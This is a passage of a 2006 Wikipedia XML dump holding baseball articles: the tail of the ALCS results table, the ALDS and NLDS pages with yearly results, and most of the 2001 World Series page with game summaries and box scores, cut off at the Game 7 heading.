| Justice's towering homer off [[Arthur Rhodes]] in Game 6 ensured the first [[Subway Series]] since 1956. [[Roger Clemens]] one-hit Seattle in Game 3.
|-
| [[2001 American League Championship Series|2001]]
| [[New York Yankees]] || [[Seattle Mariners]]
| align=&quot;center&quot; | 4-1 || [[Andy Pettitte]], New York
| [[Alfonso Soriano]] hit a walk-off home run in Game 4.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2002 American League Championship Series|2002]]
| [[Los Angeles Angels of Anaheim|Anaheim Angels]]&amp;dagger; || [[Minnesota Twins]]
| align=&quot;center&quot; | 4-1 || [[Adam Kennedy]], Anaheim
| The series MVP hit three home runs in the deciding Game 5 despite swatting just 7 in the regular season.
|-
| [[2003 American League Championship Series|2003]]
| [[New York Yankees]] || [[Boston Red Sox]]&amp;dagger;
| align=&quot;center&quot; | 4-3 || [[Mariano Rivera]], New York
| [[Aaron Boone]] hit an 11th-inning blast off [[Tim Wakefield]] to cap off an exciting Game 7. Often called the best game in the [[Yankees-Red Sox Rivalry]], it may be better known for [[Grady Little]] refusing to pull ace [[Pedro Martinez]] from the game. Another highlight was the Game 3 brawl.
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2004 American League Championship Series|2004]]
| [[Boston Red Sox]]&amp;dagger; || [[New York Yankees]]
| align=&quot;center&quot; | 4-3 || [[David Ortiz]], Boston
| Boston becomes the first baseball team in history to win a series after losing the first three games.
|-
| [[2005 American League Championship Series|2005]]
| [[Chicago White Sox]] || [[Los Angeles Angels of Anaheim|Los Angeles Angels]]
| align=&quot;center&quot; | 4-1 || [[Paul Konerko]], Chicago
| After [[Neal Cotts]] worked 2/3 of an inning in a Game 1 loss, the Sox, aided by a controversial [[Doug Eddings]] call, pitched 4 complete games in a row.
|}
&amp;dagger;''Denotes wild-card team (since 1995).''

==References==
&lt;!-- Tips for referencing:

For websites, use the formatting below (date/year are when you accessed the web page):
{{Web reference | title=Title of page | work=Title of Complete Work | url=http://www.example.com | date=Month Day | year=Year}}


For Books, use:
{{Book reference | Author=Lincoln, Abraham; Grant, U. S.; &amp; Davis, Jefferson | Title=Resolving Family Differences Peacefully | Publisher=Gettysburg: Printing Press | Year=1861 | Editor=Stephen A. Douglas | ID=ISBN 0-12-345678-9}}


For other sources, see: [[WP:CITET]]
--&gt;
{{unreferenced}}

[[Category:Baseball playoffs and champions]] [[Category:American League Championship Series|*]]
[[Category:1969 establishments]]

{{ALCS}}</text>
    </revision>
  </page>
  <page>
    <title>American League Division Series</title>
    <id>3862</id>
    <revision>
      <id>40983328</id>
      <timestamp>2006-02-24T07:27:41Z</timestamp>
      <contributor>
        <username>TMC1982</username>
        <id>96890</id>
      </contributor>
      <text xml:space="preserve">In [[Major League Baseball]], the '''American League Division Series''' ('''ALDS''') determines which two teams from the [[American League]] will advance to the [[American League Championship Series]].  The ALDS consists of two best-of-five series, featuring the three division winners and a [[wild card (sports)|wild-card]] team.  

The Division Series was created after the [[1993 in baseball|1993]] season when Major League Baseball restructured each league into three divisions, but they were first played in [[1995 in baseball|1995]] due to [[1994 baseball strike|the cancellation of the 1994 playoffs]].  Incidentally, because of a [[1981 baseball strike|players' strike]] in [[1981 in baseball|1981]], a split-season format forced a divisional playoff series that year, where the [[New York Yankees]] won the Eastern Division series over the [[Milwaukee Brewers]] (who were in the American League until [[1998 in baseball|1998]]) in five games while the [[Oakland Athletics]] swept the [[Kansas City Royals]] in three games in the Western Division.

Typically, the wild-card team is assigned to play the division winner with the best winning percentage in one series, and the other two division winners play the other series.  However, if the wild-card team and the division winner with the best record are from the same division, the wild-card team plays the division winner with the second-best record, and the remaining two division winners play.  In any event, the two series winners move on to the best-of-seven ALCS.

Since the ALDS's inception, several pairs of opponents have met more than once. The [[Cleveland Indians]] and the [[Boston Red Sox]] played in [[1995 in baseball|1995]], [[1998 in baseball|1998]], and [[1999 in baseball|1999]], and the [[Texas Rangers (baseball)|Texas Rangers]] played the [[New York Yankees]] in [[1996 in baseball|1996]], [[1998 in baseball|1998]], and [[1999 in baseball|1999]]. Also, three matchups have occurred twice, all including the Yankees; they played the [[Oakland Athletics]] in [[2000 in baseball|2000]] and [[2001 in baseball|2001]], the [[Los Angeles Angels of Anaheim|Anaheim-LA Angels]] in [[2002 in baseball|2002]] and [[2005 in baseball|2005]], and the [[Minnesota Twins]] in [[2003 in baseball|2003]] and [[2004 in baseball|2004]].

There is currently no award for Division Series Most Valuable Player.

==ALDS results (1994-present)==
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;3&quot;
|- style=&quot;background-color: #e0e0e0;&quot;
! Year
! Winner
! Loser
! Wins
! Losses
|- style=&quot;background-color: #e0e0e0;&quot;
| 1994
| colspan=&quot;5&quot; align=&quot;center&quot; | ''Not held due to [[1994 baseball strike|player strike]].''
|-
| [[1995 American League Division Series|1995]]
| [[Cleveland Indians]] || [[Boston Red Sox]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
|
 || [[Seattle Mariners]] || [[New York Yankees]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1996 American League Division Series|1996]]
| [[New York Yankees]] || [[Texas Rangers (baseball)|Texas Rangers]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[Baltimore Orioles]]&amp;dagger; || [[Cleveland Indians]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
| [[1997 American League Division Series|1997]]
| [[Baltimore Orioles]] || [[Seattle Mariners]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
|
 || [[Cleveland Indians]] || [[New York Yankees]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1998 American League Division Series|1998]]
| [[New York Yankees]] || [[Texas Rangers (baseball)|Texas Rangers]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[Cleveland Indians]] || [[Boston Red Sox]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
| [[1999 American League Division Series|1999]]
| [[New York Yankees]] || [[Texas Rangers (baseball)|Texas Rangers]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
|
 || [[Boston Red Sox]]&amp;dagger; || [[Cleveland Indians]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2000 American League Division Series|2000]]
| [[Seattle Mariners]]&amp;dagger; || [[Chicago White Sox]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[New York Yankees]] || [[Oakland Athletics]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|-
| [[2001 American League Division Series|2001]]
| [[New York Yankees]] || [[Oakland Athletics]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|-
|
 || [[Seattle Mariners]] || [[Cleveland Indians]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2002 American League Division Series|2002]]
| [[Minnesota Twins]] || [[Oakland Athletics]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[Los Angeles Angels of Anaheim|Anaheim Angels]]&amp;dagger; || [[New York Yankees]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
| [[2003 American League Division Series|2003]]
| [[New York Yankees]] || [[Minnesota Twins]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
|
 || [[Boston Red Sox]]&amp;dagger; || [[Oakland Athletics]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2004 American League Division Series|2004]]
| [[New York Yankees]] || [[Minnesota Twins]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|- style=&quot;background-color: #e0e0e0;&quot;
|
|| [[Boston Red Sox]]&amp;dagger; || [[Los Angeles Angels of Anaheim|Anaheim Angels]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
| [[2005 American League Division Series|2005]]
| [[Chicago White Sox]] || [[Boston Red Sox]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
|
| [[Los Angeles Angels of Anaheim|Los Angeles Angels]] || [[New York Yankees]] 
| align=&quot;center&quot;  | 3 || align=&quot;center&quot; | 2
|}

&amp;dagger;''Denotes wild-card team.''

==See also==
*[[Baseball]]
*[[American League pennant winners 1901-68]]
*[[National League pennant winners 1876-1900]]
*[[National League pennant winners 1901-68]]
*[[National League Division Series]] (NLDS)
*[[American League Championship Series]] (ALCS)
*[[National League Championship Series]] (NLCS)
*[[World Series]]

[[Category:Baseball playoffs and champions]]
[[Category:American League Division Series|*]]

{{ALDS}}</text>
    </revision>
  </page>
  <page>
    <title>National League Division Series</title>
    <id>3863</id>
    <revision>
      <id>40983080</id>
      <timestamp>2006-02-24T07:24:26Z</timestamp>
      <contributor>
        <username>TMC1982</username>
        <id>96890</id>
      </contributor>
      <text xml:space="preserve">In [[Major League Baseball]], the '''National League Division Series''' ('''NLDS''') determines which two teams from the [[National League]] will advance to the [[National League Championship Series]].  The NLDS consists of two best-of-five series, featuring the three division winners and a wild-card team.  The Division Series were created after the [[1993 in baseball|1993]] season when Major League Baseball restructured each league into three divisions, but were first played in [[1995 in baseball|1995]] due to the [[1994 baseball strike|cancellation of the 1994 playoffs]].  Interestingly, in [[1981 in baseball|1981]], due to a [[1981 baseball strike|players' strike]], a split-season format was used and a divisional series was held.  In the Eastern Division, the [[Montreal Expos]] defeated the [[Philadelphia Phillies]] three games to two while the [[Los Angeles Dodgers]] beat the [[Houston Astros]] three games to two in the Western Division.  The two teams with the best overall records, the [[St. Louis Cardinals]] and the [[Cincinnati Reds]], failed to win their division in either half of that season.

Typically, the wild-card team plays the division leader with the best winning percentage in one series, and the other two division leaders play the other series.  However, if the wild-card team and the division leader with the best record are from the same division, the wild-card team plays the next winningest division leader, and the remaining two division leaders play.  In any event, the two series winners move on to the best-of-seven NLCS.

Since the NLDS's inception, the [[Atlanta Braves]] and the [[Houston Astros]] are the only teams to have met more than twice, with the Braves winning the series the first three times and the Astros winning next two.

There is currently no award for Division Series Most Valuable Player.

== NLDS results (1994-present) ==
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot;
|- style=&quot;background-color: #e0e0e0;&quot;
! Year
! Winner
! Loser
! Wins
! Losses
|- style=&quot;background-color: #e0e0e0;&quot;
| 1994
| colspan=&quot;5&quot; align=&quot;center&quot; | ''Not held due to [[1994 baseball strike|player strike]].''
|-
| [[1995 National League Division Series|1995]]
| [[Atlanta Braves]] || [[Colorado Rockies]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
|
 || [[Cincinnati Reds]] || [[Los Angeles Dodgers]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1996 National League Division Series|1996]]
| [[Atlanta Braves]] || [[Los Angeles Dodgers]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[St. Louis Cardinals]] || [[San Diego Padres]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
| [[1997 National League Division Series|1997]]
| [[Atlanta Braves]] || [[Houston Astros]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
|
 || [[Florida Marlins]]&amp;dagger; || [[San Francisco Giants]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
| [[1998 National League Division Series|1998]]
| [[Atlanta Braves]] || [[Chicago Cubs]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[San Diego Padres]] || [[Houston Astros]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
| [[1999 National League Division Series|1999]]
| [[Atlanta Braves]] || [[Houston Astros]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
|
 || [[New York Mets]]&amp;dagger; || [[Arizona Diamondbacks]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2000 National League Division Series|2000]]
| [[St. Louis Cardinals]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[New York Mets]]&amp;dagger; ||  [[San Francisco Giants]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|-
| [[2001 National League Division Series|2001]]
| [[Atlanta Braves]] || [[Houston Astros]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
|
 || [[Arizona Diamondbacks]] || [[St. Louis Cardinals]]&amp;dagger;
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2002 National League Division Series|2002]]
| [[St. Louis Cardinals]] || [[Arizona Diamondbacks]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[San Francisco Giants]]&amp;dagger;
| [[Atlanta Braves]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|-
| [[2003 National League Division Series|2003]]
| [[Chicago Cubs]] || [[Atlanta Braves]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|-
|
 || [[Florida Marlins]]&amp;dagger; || [[San Francisco Giants]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|- style=&quot;background-color: #e0e0e0;&quot;
| [[2004 National League Division Series|2004]]
| [[St. Louis Cardinals]] || [[Los Angeles Dodgers]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|- style=&quot;background-color: #e0e0e0;&quot;
|
 || [[Houston Astros]]&amp;dagger; || [[Atlanta Braves]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 2
|-
| [[2005 National League Division Series|2005]]
| [[St. Louis Cardinals]] || [[San Diego Padres]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 0
|-
|
 || [[Houston Astros]]&amp;dagger; || [[Atlanta Braves]]
| align=&quot;center&quot; | 3 || align=&quot;center&quot; | 1
|}
&amp;dagger;''Denotes wild-card team.''

==See also==
*[[Baseball]]
*[[National League pennant winners 1876-1900]]
*[[American League pennant winners 1901-68]]
*[[National League pennant winners 1901-68]]
*[[American League Division Series]] (ALDS)
*[[American League Championship Series]] (ALCS)
*[[National League Championship Series]] (NLCS)
*[[World Series]]

[[Category:Baseball playoffs and champions]]
[[Category:National League Division Series|*]]

{{NLDS}}</text>
    </revision>
  </page>
  <page>
    <title>2001 World Series</title>
    <id>3864</id>
    <revision>
      <id>41526029</id>
      <timestamp>2006-02-27T23:14:50Z</timestamp>
      <contributor>
        <ip>24.184.132.36</ip>
      </contributor>
      <comment>/* Game 2 */</comment>
      <text xml:space="preserve">[[Image:World Series Logo 2001.png|200px|right]]
The '''[[2001 in sports|2001]] [[World Series]]''' (the '''&quot;November Series&quot;''') took place between the [[Arizona Diamondbacks]] and the [[New York Yankees]] and was arguably one of the most exciting World Series in recent memory. The best-of-seven-games series determined the World Champion of [[Major League Baseball]] of [[2001]]. It featured two extra-inning games and three late-inning comebacks and went to the maximum 7 games. 

'''Managers:''' [[Joe Torre]] (New York), [[Bob Brenly]] (Arizona)

'''Umpires:''' [[Steve Rippley]], [[Dana DeMuth]], [[Dale Scott]], [[Mark Hirschbeck]], [[Jim Joyce]], [[Ed Rapuano]]

'''Series MVPs:''' [[Randy Johnson]] and [[Curt Schilling]] (Arizona)

'''Television:''' [[Fox Broadcasting Company|FOX]] ([[Joe Buck]] and [[Tim McCarver]] announcing)

==Summary==

The Arizona Diamondbacks, breaking a record previously held by the [[Florida Marlins]], reached the Series in just their fourth season of existence, and took on the storied 3-time defending champion New York Yankees, who were trying to become the first team to win four straight titles since the Yankees' five consecutive titles from 1949 to 1953. Additionally, the Series would be taking place in [[City of New York|New York City]] only seven weeks after the [[September 11, 2001 attacks|September 11, 2001 Terrorist Attacks]], representing a remarkable boost in morale for the fatigued city. Arizona captured the Series, 4 games to 3, thereby dethroning the defending World Champions and earning their first title.

Arizona won the first two games at home handily, but New York won the next three in close contests in Yankee Stadium, including two dramatic ninth-inning comebacks against Arizona closer [[Byung-Hyun Kim]]. Arizona won the sixth game behind [[Randy Johnson]], who then came in to pitch in relief of Schilling in game 7.  The Diamondbacks won the game 3-2, with [[Jay Bell]] scoring the winning run on a bloop single by [[Luis Gonzalez (baseball outfielder)|Luis Gonzalez]], in the bottom of the ninth inning off the Yankees' ace closer, [[Mariano Rivera]].

It is notable that the home team won every game in the Series. This had only happened twice before, in [[1987 World Series|1987]] and [[1991 World Series|1991]]; both times, the [[Minnesota Twins]] won the Series.  This Series was also the subject of an [[HBO]] documentary ''Nine Innings From Ground Zero'' in [[2004]]. [http://www.hbo.com/sports/nineinnings/]

==September 11 and the Month of November==

Due to the postponement of games in September as a result of the [[September 11, 2001 attacks|'''September 11''', 2001 Terrorist Attacks]], the World Series began Saturday, [[October 27]], [[2001]], the latest start date ever for a World Series.  The Series went seven games, the last three of which were the first major-league games (other than exhibitions) played in the month of '''November'''.

==The Series==

===Game 1===
''Saturday, [[October 27]], 2001'' at [[Chase Field|Bank One Ballpark]]

Arizona showed no opening day jitters and chased Yankee's starter [[Mike Mussina]] after just three innings.  The Yankees gave up 5 unearned runs and the Diamondbacks rode Curt Schilling's seven strong innings to a 9-1 rout.  [[Craig Counsell]] homered off Mussina in the first and [[Luis Gonzalez (baseball outfielder)|Luis Gonzalez]] homered in the third, drove in two runs, and scored twice.
{| border=1 cellspacing=0 width=&quot;425&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;28%&quot; | Team

! width=6% | 1
! width=6% | 2
! width=6% | 3
! width=6% | 4
! width=6% | 5
! width=6% | 6
! width=6% | 7
! width=6% | 8
! width=6% | 9
! width=6% | R
! width=6% | H
! width=6% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | New York || 1 || 0 || 0 || 0
| 0 || 0 || 0 || 0 || 0 || '''1''' || '''3''' || '''2'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''Arizona''' || 1 || 0 || 4 || 4
| 0 || 0 || 0 || 0 || x || '''9''' || '''10''' || '''0'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Curt Schilling]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Mike Mussina]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''HR''': '''ARI''' &amp;ndash; [[Craig Counsell]] (1), [[Luis Gonzalez (baseball outfielder)|Luis Gonzalez]] (1)&lt;/small&gt;
|}

===Game 2===
''Sunday, [[October 28]], 2001'' at Bank One Ballpark

Arizona continued to take control of the series behind the arm of [[Randy Johnson]].  The Big Unit pitched a complete game shutout, allowing only four baserunners while striking out 11 Yankees.  [[Matt Williams (baseball)|Matt Williams]] hit a three-run homer in the seventh off Yankee starter [[Andy Pettitte]].  Arizona won 4-0 and took a commanding two games to none lead as the series headed to New York City.
{| border=1 cellspacing=0 width=&quot;425&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;28%&quot; | Team

! width=6% | 1
! width=6% | 2
! width=6% | 3
! width=6% | 4
! width=6% | 5
! width=6% | 6
! width=6% | 7
! width=6% | 8
! width=6% | 9
! width=6% | R
! width=6% | H
! width=6% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | New York || 0 || 0 || 0 || 0
| 0 || 0 || 0 || 0 || 0 || '''0''' || '''3''' || '''0'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''Arizona''' || 0 || 1 || 0 || 0
| 0 || 0 || 3 || 0 || x || '''4''' || '''5''' || '''0'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Randy Johnson]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Andy Pettitte]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''HR''': '''ARI''' &amp;ndash; [[Matt Williams (baseball)|Matt Williams]] (1)&lt;/small&gt;
|}

===Game 3===
[[Image:2001 World Series first pitch.jpg|thumb|right|200px|Donning a bullet-proof vest, President Bush tosses out the ceremonial first pitch.]]
''Tuesday, [[October 30]], 2001'' at [[Yankee Stadium]]

The series was opened in New York by [[George W. Bush|President Bush]], who memorably threw out the ceremonial first pitch, a strike to Yankees backup catcher Todd Greene. Bush became the first sitting President to throw out a World Series first pitch since [[Dwight D. Eisenhower]] in [[1956 World Series|1956]].  Yankees starter [[Roger Clemens]] allowed only three hits and struck out nine in seven innings of work.  Yankees closer [[Mariano Rivera]] pitched two innings for the save.  [[Scott Brosius]] broke a sixth inning tie with an RBI single to left.  The Diamondbacks wasted a great outing from starter [[Brian Anderson]] by committing three crucial errors and running themselves out of the first inning.
{| border=1 cellspacing=0 width=&quot;425&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;28%&quot; | Team

! width=6% | 1
! width=6% | 2
! width=6% | 3
! width=6% | 4
! width=6% | 5
! width=6% | 6
! width=6% | 7
! width=6% | 8
! width=6% | 9
! width=6% | R
! width=6% | H
! width=6% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | Arizona || 0 || 0 || 0 || 1
| 0 || 0 || 0 || 0 || 0 || '''1''' || '''3''' || '''3'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''New York''' || 0 || 1 || 0 || 0
| 0 || 1 || 0 || 0 || x || '''2''' || '''7''' || '''1'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Roger Clemens]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Brian Anderson]] (0-1)&amp;nbsp;&amp;nbsp;'''S''': [[Mariano Rivera]] (1)&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''HR''': '''NYY''' &amp;ndash; [[Jorge Posada]] (1)&lt;/small&gt;
|}

===[http://mlb.mlb.com/NASApp/mlb/mlb/baseballs_best/mlb_bb_gamepage.jsp?story_page=bb_01ws_gm4_arinyy Game 4]===
''Wednesday, [[October 31]], 2001'' at Yankee Stadium

Arizona manager [[Bob Brenly]] decided to gamble and start [[Curt Schilling]] on three days' rest.  The gamble worked: Schilling pitched seven strong innings and left the game with a 1-1 tie.  The Diamondbacks took a 3-1 lead in the top of the eighth on an [[Erubiel Durazo]] double and a fielder's choice, which prompted Brenly to bring in closer [[Byung-Hyun Kim]] for a two inning save.
Kim struck out the side in the eighth.  However, in the ninth the Yankees began their comeback. With one out, [[Paul O'Neill (baseball player)|Paul O'Neill]] lined an opposite-field single in front of left fielder Luis Gonzalez.  After [[Bernie Williams (born 1968)|Bernie Williams]] struck out, [[Tino Martinez]] drove the first pitch he saw from Kim over the wall in right-center field to tie the game at 3-3.  Brenly stuck with his closer as the game headed into extra innings.  As the clock in New York struck midnight, and with two outs in the tenth on a 3-2 pitch, [[Derek Jeter]] completed the comeback with a walk-off solo homerun to right, earning the title &quot;Mr. November&quot;.  The Yankees won 4-3 and evened up the series at two games apiece.
{| border=1 cellspacing=0 width=&quot;425&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;22%&quot; | Team

! width=6% | 1
! width=6% | 2
! width=6% | 3
! width=6% | 4
! width=6% | 5
! width=6% | 6
! width=6% | 7
! width=6% | 8
! width=6% | 9
! width=6% | 10
! width=6% | R
! width=6% | H
! width=6% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | Arizona || 0 || 0 || 0 || 1
| 0 || 0 || 0 || 2 || 0 || 0 || '''3''' || '''6''' || '''0'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''New York''' || 0 || 0 || 1 || 0
| 0 || 0 || 0 || 0 || 2 || 1 || '''4''' || '''7''' || '''0'''
|- style=&quot;text-align:left;&quot;
|colspan=14|&lt;small&gt;'''W''': [[Mariano Rivera]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Byung-Hyun Kim]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=14|&lt;small&gt;'''HR''': '''ARI''' &amp;ndash; [[Mark Grace]] (1) &amp;nbsp;&amp;nbsp; '''NYY''' &amp;ndash; [[Shane Spencer]] (1), [[Tino Martinez]] (1), [[Derek Jeter]] (1)&lt;/small&gt;
|}

===Game 5===
''Thursday, [[November 1]], 2001'' at Yankee Stadium

For game five, Brenly started [[Miguel Batista]], who pitched a strong seven and two-thirds scoreless innings.  Mussina bounced back from his poor game one start, but allowed solo home runs to [[Steve Finley]] and [[Rod Barajas]] in the fifth.  With the Diamondbacks leading 2-0 in the ninth, Brenly again went to his closer and again the Yankees dramatically came back.  [[Jorge Posada]] doubled to open the inning, but Kim retired the next two batters.  Then, with two outs in the bottom of the ninth, [[Scott Brosius]] knocked the 1-0 pitch out for a home run to tie the game at 2-2.  For the second night in a row, the Yankees had improbably tied the game with a two-run homerun in the bottom of the 9th, with two outs. The game went into extra innings and the Yankees won it in the 12th when [[Alfonso Soriano]] knocked in [[Chuck Knoblauch]] with a base hit off [[Albie Lopez]].  New York went ahead three games to two in the series as the teams headed back to Arizona.
{| border=1 cellspacing=0 width=&quot;500&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;25%&quot; | Team

! width=5% | 1
! width=5% | 2
! width=5% | 3
! width=5% | 4
! width=5% | 5
! width=5% | 6
! width=5% | 7
! width=5% | 8
! width=5% | 9
! width=5% | 10
! width=5% | 11
! width=5% | 12
! width=5% | R
! width=5% | H
! width=5% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | Arizona || 0 || 0 || 0 || 0
| 2 || 0 || 0 || 0 || 0 || 0 || 0 || 0 || '''2'''
| '''8''' || '''0'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''New York''' || 0 || 0 || 0 || 0
| 0 || 0 || 0 || 0 || 2 || 0 || 0 || 1 || '''3'''
| '''9''' || '''1'''
|- style=&quot;text-align:left;&quot;
|colspan=16|&lt;small&gt;'''W''': [[Sterling Hitchcock]] (1-0) &amp;nbsp;&amp;nbsp;'''L''': [[Albie Lopez]] (0-1)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|- style=&quot;text-align:left;&quot;
|colspan=16|&lt;small&gt;'''HR''': '''ARI''' &amp;ndash; [[Steve Finley]] (1), [[Rod Barajas]] (1) &amp;nbsp;&amp;nbsp; '''NYY''' &amp;ndash; [[Scott Brosius]] (1)&lt;/small&gt;
|}

===Game 6===
''Saturday, [[November 3]], 2001'' at Bank One Ballpark

With Arizona in a must-win situation, the Diamondbacks provided Randy Johnson all the offense he would ever need. Johnson struck out seven in six innings of work, giving up just two runs.  The Diamondbacks rocked Yankee starter Andy Pettitte for six runs and chased him after two innings.  Jay Witasick relieved him and fared even worse, yielding nine runs in one and a third innings.  The Diamondbacks hit six doubles and [[Danny Bautista]] went 3-4 with 5 RBIs.   They set a World Series record with 22 hits and crushed the Yankees 15-2.  Arizona handed New York its most lopsided loss in 293 postseason games.  The win evened the series at three games apiece and set up a game seven for the ages between Roger Clemens and Curt Schilling, again pitching on three days' rest.
{| border=1 cellspacing=0 width=&quot;425&quot; style=&quot;margin-left:3em;&quot;
|- style=&quot;text-align:center; background-color:#e6e6e6;&quot;
! align=&quot;left&quot; width=&quot;28%&quot; | Team

! width=6% | 1
! width=6% | 2
! width=6% | 3
! width=6% | 4
! width=6% | 5
! width=6% | 6
! width=6% | 7
! width=6% | 8
! width=6% | 9
! width=6% | R
! width=6% | H
! width=6% | E
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | New York || 0 || 0 || 0 || 0
| 0 || 2 || 0 || 0 || 0 || '''2''' || '''7''' || '''1'''
|- style=&quot;text-align:center;&quot;
| align=&quot;left&quot; | '''Arizona''' || 1 || 3 || 8 || 3
| 0 || 0 || 0 || 0 || x || '''15''' || '''22''' || '''0'''
|- style=&quot;text-align:left;&quot;
|colspan=13|&lt;small&gt;'''W''': [[Randy Johnson]] (2-0) &amp;nbsp;&amp;nbsp;'''L''': [[Andy Pettitte]] (0-2)&amp;nbsp;&amp;nbsp;&lt;/small&gt;
|}

===[http://mlb.mlb.com/NASApp/mlb/mlb/baseballs_best/mlb_bb_gamepage.jsp?story_page=bb_01ws_gm7_nyyari Game 7]===
''Sunday, [[November 4]], 2001'' at Bank One Ballpark

